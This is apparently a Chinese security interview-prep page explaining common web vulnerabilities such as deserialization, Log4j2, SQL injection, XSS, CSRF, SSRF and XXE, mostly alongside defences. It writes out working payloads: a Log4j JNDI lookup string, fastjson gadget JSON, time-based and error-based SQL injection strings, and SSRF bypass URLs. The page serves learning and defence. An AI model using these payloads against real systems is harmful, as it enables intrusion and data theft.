- 常见漏洞
- 渗透测试
- 漏洞相关
- 应急响应
- 密码学相关
- 工具原理
- 扫描器相关
- 项目相关
- http协议
- sdl与DevSecOps
- ISO27000和等保重点等保
- MYSQL
- linux下反弹shell的方法
- redis的利用方式,getshell的方法
- 同源策略
- 常见端口
- web类
- 数据库类
- 常用端口类
- 特殊服务类 - 解析漏洞
- 文件上传
- 文件读取除了可以读取敏感文件还有什么利用方式
- OWASP Top 10
常见漏洞
OAuth漏洞
共五种典型的安全漏洞:CSRF、XSS、水平越权、权码失窃、URL重定向
- CSRF、XSS、水平越权,这三种是互联网环境下常见的安全风险
- 权码失窃和重定向URI被篡改,这两种是OAuth2.0专属的安全风险
PHP相关
PHP弱类型
理解PHP是弱类型语言
- PHP不必声明该变量的数据类型。
- PHP 会根据变量的值,自动把变量转换为正确的数据类型。
- 在强类型的编程语言中,必须在使用变量前先声明(定义)变量的类型和名称。
弱语言类型的底层实现
所有变量使用同一种数据结构
zval
来保存,而这个结构同时表示PHP中的各种数据类型。它不仅仅包含变量的值,也包含变量的类型。这就是PHP弱类型的核心。PHP是弱语言类型,主要分为三类:
1、标量类型:integer、string、float、boolean
2、复合类型:array、object
3、特殊类型:resource、null
PHP弱类型漏洞
- PHP属于弱类型语言,PHP不必声明该变量的数据类型,PHP会根据变量的值自动把变量的值转换为所需的数据类型,但在这个自动转换过程中可能存在安全问题。
- PHP弱类型漏洞总结
常见可能导致弱类型漏洞的有:
主要包括 类型转换问题、内置函数的参数的松散性,包含以下多个函数:
1 | 1)== |
反序列化漏洞
序列化与反序列化
- 序列化:将一个对象转换成字符串。把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 :
serialize()
- 反序列化:恢复原先被序列化的变量。函数:
unserialize()
原理
- 原理:在反序列化的过程中,将字节流转化为对象。在此过程,由于输入不可控,并且后端对用户输入过滤不严格,攻击者通过构造恶意输入,在反序列化后,调用魔术方法执行任意恶意代码,产生非预期对象。
- 用户输入不可控
- 输入的恶意代码被执行
- 由于序列化后的字节流别中间件接收,在服务器端进行反序列化。
反序列化漏洞汇总
php反序列化漏洞
PHP反序列化漏洞触发条件: unserialize
函数的参数、变量可控,php文件中存在可利用的类,类中有魔术方法。
- CVE-2016-7124
绕过魔术方法 __wakeup
:当成员属性数目大于实际数目时可绕过wakeup方法
如果存在__wakeup
方法,调用 unserilize()
方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行
Java反序列化漏洞
shiro反序列化漏洞
weblogic反序列化漏洞
1 | CVE-2017-10271 XMLDecoder反序列化漏洞 |
fastjson反序列化漏洞
命令执行函数
1 | eval(); |
php的字符串中单引号与双引号的区别
“ “
双引号里面的字段会经过编译器解释,然后再当作HTML代码输出。‘ ‘
单引号里面的不进行解释,直接输出。
双引号中的变量($var)和特殊字符(\r\n之类)会被转义,单引号中的内容不会被转义(所以效率更高)
单引号解析的时间比双引号快 。
JAVA相关
log4j2漏洞
- 深入理解Log4j2远程命令执行漏洞
- Java低版本原理(网上普遍攻击原理)
原理概述:
因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印
2、log4j2解析到ldap内容,会调用Java底层的Lookup方法,完成Ldap的Lookup操作。
3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
- lookup方法
ObjectStreamClass类lookup()方法lookup()方法在java.io包中可用。
lookup()方法用于查找可以序列化的类的描述符。
lookup()方法是静态方法,可以使用类名进行访问,如果尝试使用类对象访问该方法,则不会出现任何错误。
lookup()方法在查找描述符时不会引发异常。
spring security
Spring Security 是 Spring 家族中的一个安全管理框架,和shiro一样被广泛使用。(目前 Java 业界比较流行的认证授权框架,一个是 Shiro,是一个轻量级的安全框架,另一个就是 Spring Security。)
springsecurity底层实现为一条过滤器链,就是用户请求进来,判断有没有请求的权限,抛出异常,重定向跳转。
- 其核心就是一组过滤器链,项目启动后将会自动配置。
- 最核心的就是 Basic Authentication Filter 用来认证用户的身份,一个在spring security中一种过滤器处理一种认证方式。
安全框架 Shiro 和 Spring Security的优缺点
- Shiro 和Spring Security的优缺点
- Spring Security是一个重量级的安全管理框架;Shiro则是一个轻量级的安全管理框架; Spring Security概念复杂,配置繁琐;Shiro概念简单、配置简单; Spring Security功能强大;Shiro功能简单。
- 优点
Spring Security基于Spring开发,权限更加方便,功能更强大、社区资源更丰富、可以和Spring Boot,Spring Cloud无缝集成。 - 缺点
与Shiro相比,其配置和使用比较复杂,并且比较依赖Spring容器。 - 选择原因
Spring Boot,Spring Cloud出来之后,简化了Spring Security的配置。
fastjson
fastjson反序列化漏洞原理
反序列化 @type
指定的类时,指定类的 setter 或 getter 被调用导致的命令执行
首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。
总结:
- 开启autotype功能
- 当组件开启了autotype功能并且反序列化不可信数据时
Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法 - 若指定类的指定方法中有可被恶意利用的逻辑(Gadget)
- 不开启autotype可利用缓存机制进行绕过(文章)
检测方式
1、DNS log
payload:{"@type":"java.net.InetAddress","val":"example.com"}
原理是 java.net.InetAddress 这个类在实例化时会尝试做对 example.com 做域名解析,这时候可以通过 dns log 的方式得知漏洞是否存在了。
2、基于JNDI注入
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true} |
原理是 com.sun.rowset.JdbcRowSetImpl
这个类在设置 autoCommit
的 setter
时会调用 connect 方法去连接 dataSourceName 指定的 jdbc 服务。 JNDI 常用的有 RMI 和 LDAP 服务,这里使用的是 RMI 服务,因为实现比较简单。
3、bytesCode 字节码
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64_bytesCode"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"} |
漏洞历史
- fastjson-1.2.24
(fastjson接受的JSON可以通过艾特type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作)
- fastjson-1.248以下
(checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测)
- fastjson-1.2.60以下
(在此版本以下,字符串中包含\x
转义字符时可以造成dos漏洞)
修复手段
升级到最新版本
shiro
参考文章:https://www.cnblogs.com/xiaozi/p/13239046.html
Shiro rememberMe反序列化漏洞(Shiro-550)
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。
在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
影响版本
Apache Shiro < 1.2.4
特征判断
返回包中包含rememberMe=deleteMe字段
Shiro Padding Oracle Attack(Shiro-721)
漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
影响版本
Apache Shiro < 1.4.2版本
weblogic
weblogic历史漏洞
常用的协议:T3协议、IIOP
T3协议:T3协议是用于Weblogic服务器和其他Java Application之间传输信息的协议,是实现上述RMI远程过程调用的专有协议,其允许客户端进行JNDI调用。
IIOP: CORBA对象之间交流的协议,传输层为TCP/IP。它提供了CORBA客户端和服务端之间通信的标准。
CORBA: Common Object Request Broker Architecture(公共对象请求代理体系结构)是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现。
Weblogic T3反序列化漏洞(CVE-2018-2628)
JAVA命令执行函数
1 | java.lang.Runtime |
ps:java.lang包是java语言的核心,它提供了java中的基础类。我们使用java.lang包下的类时,是不需要import类的,默认导入。包括基本Object类、Class类、String类、基本类型的包装类、基本的数学类等等最基本的类。
sql注入
sql注入的原理和防御
原理:开发者在编写操作数据库代码时,直接将外部可控的参数拼接到SQL语句中,没有经过任何过滤就直接放入数据库引擎执行。
防御:
SQL注入漏洞防御的核心就是阻止用户输入由数据变为动作
1.使用预编译语句,绑定变量(PreparedStatement)
2.使用存储过程
3.检查数据类型
4.使用安全函数mysql_real_escape_string()
sql注入有哪几类
1.按照参数类型:数字型、字符型
2.按照数据库返回结果:回显注入、报错注入、盲注
3.按照注入位置及方式不同:post注入,get注入,cookie注入,盲注,延时注入,搜索注入,base64注入等
布尔盲注
布尔盲注是最基础的一种注入,其本质是使SQL语句永真或永假,使页面上显示的内容不同,然后逐个字符的去判断,以此来得到数据库中的所有数据。
页面虽然不能返回查询的结果,但是对于输入 布尔值 0 和 1 的反应是不同的,就可以利用这个输入布尔值的注入点来注入的条件语句,从而能根据页面的返回情况推测出输入的语句是否正确(输入语句的真假直接影响整条查询语句最后查询的结果的真假)时间盲注
如果存在盲注,但不论SQL语句是用真还是永假,页面都没有回显或没有明显变化,如何去判断SQL语句此时是真是假呢?可以使用sleep函数使SQL语句延迟一段时间后再返回结果,如果sleep函数与整个语句是且(and)的关系,那么为真的语句就会延时,为假的语句就不会延时。其他的部分与布尔盲注其实是相同的。sleep时间盲注函数使用方法:
eg:时间盲注(延迟注入)
1
2
3
4
5
6
7# 利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
id=1' and if(1=2,1,sleep(3)) //运行结束如果反应了3s,说明闭合闭合符合为'
id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) --+ //此为判断第一个字母的ascii码是否为115,ascii码115,对应的字符为s
id=1' and if(ascii(substr(database(),1,1))=101,sleep(2),0) --+ //断第二个字母为e
以此类推,数据库名为security
通常在挖SRC中,通过遍历ascii的值可以获取s
在面试中,经常会被问到『如果sleep函数被禁用,如何进行时间盲注?』
- 答案是使用benchmark函数,它的本意是向用户报告执行某个表达式的时间,使用它大批量执行一个任意表达式,也可达到延时的效果。除了bechmark函数,还有笛卡尔积、GET_LOCK、RLIKE/
报错注入
报错注入是通过floor、extractvalue、updatexml等函数来实现的,这些函数有一个共同的特点,便是完成相应的功能需要进行两次及以上的操作。因此使其成功查询数据后进行处理的那次操作出错,也就将查出的数据暴露在了错误信息中,从而得到想要的数据。
如何判断sql注入
在参数后面加单引号或双引号,判断返回结果是否有报错
如果参数(id)是数字,测试id=2-1与id=1返回的结果是否相同,如果做了2-1=1的运算,说明可能存在数字型注入。如果要用+号运算的话,因为URL编码的问题,需要把加好换成%2B,如id=1%2B1
添加注释符,判断前后是否有报错
- 如id=1’ –+ 或 id=1” –+ 或id=1’ # 或id=1” –+ (–后面跟+号,是把+当成空格使用)
有些参数可能在括号里面,如:SELECT first_name, last_name FROM users WHERE user_id = (’$id’);所以也可以在参数后面加单、双引号和括号,如id=1’) –+ 或 id=1”) –+ 或id=1’) # 或id=1”) –+
参数后面跟or 或者and,判断返回结果是否有变化
- 如1’ or ‘a’=’a 或者and ‘a’=’a或者1’ or ‘a’=’b或者1’ or ‘1’=’2 如果返回的正确页面与错误页面都一样,可以考虑时间延迟的方法判断是否存在注入,如 1’ and sleep(5)
如果你只有一次试验的机会,如何判定一个数据输入点是否存在SQL注入?
答案是使用时间盲注,如sleep(4),如果真的存在注入,则肯定会延时4秒再显示结果。其他类型的注入都非一次试验而能确定存在的,并且一个数据输入点只要存在注入,必定存在时间盲注。
1.数字型注入
使用 and 1=1 或者 and 1=2 来进行判断
?id=1 and 1=1 和 ?id=1 and 1=2
2.字符型注入
使用 1’ and ‘1’=1’ 和 1’ and ‘1’=’2来进行判断
?id=1’ and ‘1’=1’ 和 ?id=1’ and ‘1’=’2
1.单引号判断法
2.and大法 and 1=1 and 1=2 同真为真,其余为假
3.ord大法 or 1=1 or 1=2 同假为假,其余为真
通过对其传入的可控参数进行简单的构造,通过服务端返回的内容来判断有无注入
sql注入的利用方式
1.非法查询其他数据库资源,如管理员帐号
2.执行系统命令
3.获取服务器root权限
时间盲注除了sleep还有哪些利用函数
benchmark、笛卡尔积、GET_LOCK、RLIKE
参考文章cdxy
benchmark、笛卡尔积、GET_LOCK、RLIKE
没有错误回显的原因
php的配置文件php.ini进行了修改,display_errors = On 修改为 display_errors = off时候就没有报错提示.
在php脚本开头添加error_reporting(0); 也可以达到关闭报错的作用.
宽字节注入
原理:
吃掉转义引号的反斜杠是宽字节注入的根本原因
宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
宽字节注入利用了mysql一个特性,即当mysql在使用GBK编码的时候,会认为两个字符是一个汉字。(前一个ASCII码要大于128,才到汉字的范围)
mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当输入单引号时,mysql会调用转义函数,将单引号变为\’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击%df'
会被PHP当中的addslashes
函数转义为%df\'
,“\”既URL里的“%5C”,那么也就是说,%df'
会被转成%df%5C%27
倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为%df%5C%27
是一个宽字符。也就是“縗’”
sql注入绕过技巧
1.绕过空格
- 注释替换:/* 注释 */
- 两个空格代替一个空格,用Tab代替空格,%a0=空格
- 使用浮点数
- 括号绕过空格
2.引号绕过
- 使用十六进制
3.逗号绕过
- 使用from或offset
4.比较符号(<>)绕过
- 使用greatest()、least():(前者返回最大值,后者返回最小值)
- 使用sqlmap中的between脚本
5.or and xor not绕过
1 | and=&& or=|| xor=| not=! |
报错注入指令
复习文章:http://wyb0.com/posts/injection-of-error-based/
报错注入只要套用公式即可,如下(第一个公式count(*)、floor()、rand()、group by不可或缺,后两个公式有32位的限制):
1 | ?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )--+ |
sqlmap的使用
- 绕过WAF等设备
- sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,也可以使用–tamper参数对数据做修改来绕过WAF等设备。
- –tamper=TAMPER 可以查看 tamper/ 目录下的有哪些可用的脚本。
- 指定注入类型使用的技术
--technique
测试指定注入类型使用的技术
不加参数默认测试所有注入技术
B: 基于布尔的 SQL 盲注
E: 基于显错 sql 注入
U: 基于 UNION 注入
S: 叠层 sql 注入
T: 基于时间盲注
1 | --technique B 布尔盲注 |
xss跨站脚本攻击
XSS的漏洞主要成因是后端接收参数时未经过滤,导致参数改变了HTML的结构,从而被浏览器或后端代码执行,带来漏洞
原理
XSS的漏洞主要成因是后端接收参数时未经过滤,导致参数改变了HTML的结构,从而被浏览器或后端代码执行
种类
反射型、存储型、DOMXSS
存储型 XSS
存储型 XSS 的攻击步骤:
- 攻击者将恶意代码提交到目标网站的数据库中。
- 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
存储型 XSS(又被称为持久性XSS)攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
它是最危险的一种跨站脚本,相比反射型XSS和DOM型XSS具有更高的隐蔽性,所以危害更大,因为它不需要用户手动触发。任何允许用户存储数据的web程序都可能存在存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当所有浏览者访问某个页面时都会被XSS。
反射型 XSS
反射型 XSS 的攻击步骤:
- 攻击者构造出特殊的 URL,其中包含恶意代码。
- 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
反射型 XSS (也被称为非持久性XSS)漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
DOM 型 XSS
DOM 型 XSS 的攻击步骤:
- 攻击者构造出特殊的 URL,其中包含恶意代码。
- 用户打开带有恶意代码的 URL。
- 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
DOM通常代表在html、xhtml和xml中的对象,使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析,所以防范DOM型XSS完全就是前端的责任,必须注意!!!。
xss利用方式
1.获取cookie
2.DDos攻击
3.构造js代码进行挖矿
4.探测内网端口
https://www.freebuf.com/sectool/159689.html
检测方法
一、直接触发
在HTML页中插入<script></script>
脚本标记,JS嵌入到HTML中的两种方式:
1.直接嵌入<script>
标签
1 | <script language=“javascript”> |
2.在外部以js文件的形式嵌入
1 | <script language=“javascript” src=“test.js”></script> |
二、利用HTML标签属性触发
三、利用HTM事件触发
四、利用CSS触发
防御
防御XSS攻击可以从前端和后端入手。
前端防御
:使用js,由客户端运行,将 ‘&’ , ‘<’ , ‘’ 之类的敏感字符转义为 & , < , >,用户所编写的HTML代码就变成了字符,剩下的才是富文本格式。优点是可以直接在客户端运行,不需要占用服务器资源。但缺点是,如果攻击者使用伪造的HTTP请求,直接向服务器发送一段HTML代码,或者禁用js,则可以绕过前端处理及检查,直接向服务器提交包含script的HTML代码。这时就需要在服务器进行防御了。
前端防御插件:xss.js
后端防御
:在服务器检查敏感的HTML代码,有基于黑名单和基于白名单的两种过滤方式。因为HTML标签种类繁多,基于黑名单的过滤方法考虑的并不全面。而且对伪协议的考虑也不全面等等。。推荐使用白名单
- 可在cookie中设置httponly(浏览器禁止页面的js访问带有httponly属性的cookie)
- xss filter(检查输入,设置白名单方式)
- 输入过滤(编码,转义,常用编码:html编码,js编码,16进制等)
- 针对不同位置的输出,使用不同的处理方式
- 白名单:处理富文本 富文本XSS问题
- header中使用content-Sencurity-Policy字段,规定请求js的域名白名单(CSP策略)
dom xss 和反射型xss的区别
dom xss 不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析。dom型js代码存储在数据库中。
xss遇到后台登录限制或者HTTPONLY时
复习文章:https://blog.csdn.net/xysoul/article/details/45366695
1.可以利用XSS获取当前页面的所有URL
2.获取当前页面的代码
csrf和xss的区别
1.CSRF:需要用户先登录网站A,获取 cookie。
XSS:不需要登录
2.CSRF:是利用网站A本身的漏洞,去请求网站A的api。
XSS:是向网站 A 注入 JS代码,然后执行 JS 里的代码,篡改网站A的内容。
CSRF跨站请求伪造
原理
总结:由于目标网站无token或referer限制,攻击者可以利用用户的身份,执行请求。
即攻击者盗用了你的身份,以你的名义发送恶意请求,没有进行权限校验。
CSRF 能够攻击成功的本质原因是重要操作的所有参数都可以被攻击者猜测得到。
漏洞产生流程:
- 受害者登录a.com,并保留了登录凭证(Cookie)
- 攻击者引诱受害者访问了b.com
- b.com 向 a.com 发送了一个请求:a.com/act=xx。
- a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
- a.com以受害者的名义执行了act=xx。
- 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作
危害
攻击者可以让受害者用户修改任何允许修改的数据,执行任何用户允许的操作,例如修改密码,登录注销等
检测
1.GET类型的CSRF的检测
- 如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,即存在CSRF漏洞
2.POST类型的CSRF的检测
- 如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,再去掉referer参数的内容,如果仍然可以,说明存在CSRF漏洞,可以利用构造外部form表单的形式,实现攻击。如果直接去掉referer参数请求失败,这种还可以继续验证对referer的判断是否严格,是否可以绕过
防御
1.验证码
- 验证码强制用户必须与应用进行交互,才能完成最终请求。
2.Referer Check
- 检查请求是否来自合法的源。但服务器并非什么时候都能取得 Referer。
3.Token
- CSRF 能够攻击成功的本质原因是重要操作的所有参数都可以被攻击者猜测得到。
- 保持原参数不变,新增一个参数 Token,值是随机的,在实际应用中,Token 可以放在用户的 Session 中,或浏览器的 Cookies 中。
- Token 一定要足够随机。此外,Token 的目的不是为了防止重复提交,所以为了使用方便,可以允许在一个用户的有效生命周期内,在 Token 消耗掉之前都使用同一个 Token,但如果用户已经提交了表单,则这个 Token 已经消耗掉,应该重新生成 Token。
- Token 还应注意其保密性,如果 Token 出现在 URL 中,则可能会通过 Referer 泄露,应尽量把 Token 放在表单中,把敏感操作由 GET 改为 POST,以表单或 AJAX 的形式提交,避免 Token 泄露。
4、随机数
SSRF服务端请求伪造
原理
服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。
危害
1、读取本地文件——利用file
协议
2、攻击内外网的web
应用——主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
3、对内网 WEB 应用进行指纹识别,通过访问默认文件实现
4、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
5、攻击运行在内网或本地的应用程序(比如溢出)
检测方法
- 排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞 - dnslog等工具进行测试,看是否被访问
可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。 - 抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址.
- 直接返回的Banner、title、content等信息
- 留意bool型SSRF
绕过方法
1、30x跳转
- 当防御方限制只允许http(s)访问或者对请求的host做了正确的校验后,可以通过30x方式跳转进行绕过
- 针对只允许http(s)协议的情况,可以通过
Location: dict://127.0.0.1:6379
跳转到dict
协议,从而扩大攻击面,来进行更深入的利用
2、URL解析绕过
- 通过url解析绕过只解析@后面的域名,列如: http://www.baidu.com@127.0.0.1
- 利用语言本身自带的解析函数差异来绕过检测,如在python3中,对于同一个url:http://baidu.com@qq.com,urllib和urllib3的解析就不一致。
3、
DNS解析绕过
:通过dns解析绕过私有地址限制探测内网 列 www.127.0.0.1.xip.io4、
编码进制绕过
:列如:ip进制转换5、
利用IPv6绕过
:有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如::1或IPv6的内网域名–x.1.ip6.name来绕过过滤
dns rebinding dns重绑定攻击
原理:利用服务器解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。
修复方式:
1
2
3
4
51、限制JavaScript的运行(让攻击者没办法再次请求,noscript可以实现)
2、将域名与ip固定(这样它们就不能重复更改)
3、不接受小于特定大小的TTL(因此它们无法更改)
4、不接受DNS是私有地址的请求(对于外部请求来说)(这样它们就不会扩展到内网)
5、在本地运行的端口服务校验来源域名
两次解析统一域名:check_ssrf与do_url的两次解析
PS:DNS是怎么做域名解析的?怎样两次解析同一域名?
解析流程是分级查询
- 首先先在本机的DNS里头查,如果有就直接返回了
- 本机DNS里头发现没有,就去根服务器里查,根服务器会告诉去哪查(如com域
- 本机的DNS接到又会向com域的DNS服务器发送查询消息
https://www.cnblogs.com/rjzheng/p/11395695.html
修复方式
1、禁用不需要的协议,仅允许http和https请求;
2、限制请求的端口为http常用的端口,比如,80,443,8080,8090;
3、黑名单内网ip,避免应用被用来获取获取内网数据,攻击内网;
4、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法;
5、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态;
6、使用正则对参数进行效验,防止畸形请求绕过黑名单。
- 去除url中的特殊字符(为了防止利用url parse的特性造成url解析差异)
- 判断是否属于内网ip
- 如果是域名的话,将url中的域名改为ip(防止dns rebinding)
- 请求的url为3中返回的url
- 请求时设置host header为ip(为了防止以ip请求时,某些网站无法访问的问题)
- 不跟随30x跳转(跟随跳转需要从1开始重新检测)(防止30x跳转进行绕过)
XSS、CSRF、SSRF三种漏洞的区别和共同点
- 相同点:
XSS,CSRF,SSRF三种常见的Web服务端漏洞均是由于服务器端对用户提供的可控数据过于信任或者过滤不严导致的。 - 不同点:
1、XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回的html页面时,出现了预期值之外的脚本语句被执行。
2、CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。
3、SSRF是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。
XXE防御、绕过
XXE漏洞学习
XXE:XML外部实体注入
原理
允许加载了外部实体
允许了引入外部实体的加载,从而导致程序在解析xml的时候,可以加载恶意外部文件,从而造成文件读取等危害。
危害
- 读取任意文件
- 命令执行
- 内网探测/SSRF
- 攻击内网网站
- DDOS攻击
防御
1.使用开发语言提供的禁用外部实体的方法,即禁用外部实体。
PHP:libxml_disable_entity_loader(true);
JAVA:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
JSONP漏洞
复习文章:我的博客:深入理解JSONP漏洞
JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script></script>
元素标签,远程调用 JSON 文件来实现数据传递
json和jsonp的区别
复习文章
JSON是一种数据交换格式,而JSONP是一种非官方跨域数据交互协议。JSON是“暗号”,而JSONP则是接头方式。
JSON是描述信息的格式,JSONP是信息传递双方约定的方法。
CORS跨域资源共享
跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
复习文章: 跨域资源共享CORS详解
DNS域传送漏洞
原理
如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源,将会导致DNS域传送漏洞。
DNS区域传送:DNS服务器分为主服务器、备份服务器、缓存服务器。
而域传送指的是一台备用服务器使用来自主服务器的数据更新自己的域(zone)数据库。这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因意外故障变得不可用时影响到整个域名的解析。
DNS域传送漏洞:一般DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息,即允许不受信任的因特网用户执行DNS区域传送操作。
危害
便于快速判断出某个特定区域的所有主机,获取域信息,如网络拓扑结构、服务器ip地址,为攻击者的入侵提供大量敏感信息。
如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源,将会导致DNS域传送漏洞。
本来只有备份服务器能获得主服务器的数据,由于漏洞导致任意client都能通过“域传送”获得主服务器的数据(zone数据库信息)
DNS协议支持使用axfr类型的记录进行区域传送,用来解决主从同步的问题。
DNS服务器分为:主服务器、备份服务器、缓存服务器
在主备服务器之间同步数据库,需要使用“DNS域传送”。域传送
是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。
补充DNS记录的种类:
DNS记录
1 | A记录 IP地址记录,记录一个域名对应的IP地址 |
DDOS分布式拒绝服务攻击
复习文章:Ddos分布式拒绝服务攻击
俗称洪水攻击,攻击者控制多台主机同时向同一主机或网络发起DOS攻击(dos攻击是拒绝服务攻击)
攻击原理:利用合理的请求从而造成资源过载,导致服务不可用。攻击者通过向路由器发起海量的消息请求或者畸形报文,导致CPU无法实时处理消息,引发正常的业务交互流程、内部处理流程阻塞,达到拒绝服务的目的
udp flood: 利用大量的UDP小包冲击DNS服务器,造成网络瘫痪。[复习文章](https://baike.baidu.com/item/UDP flood/5504851?fromtitle=UDP攻击&fromid=9860786)
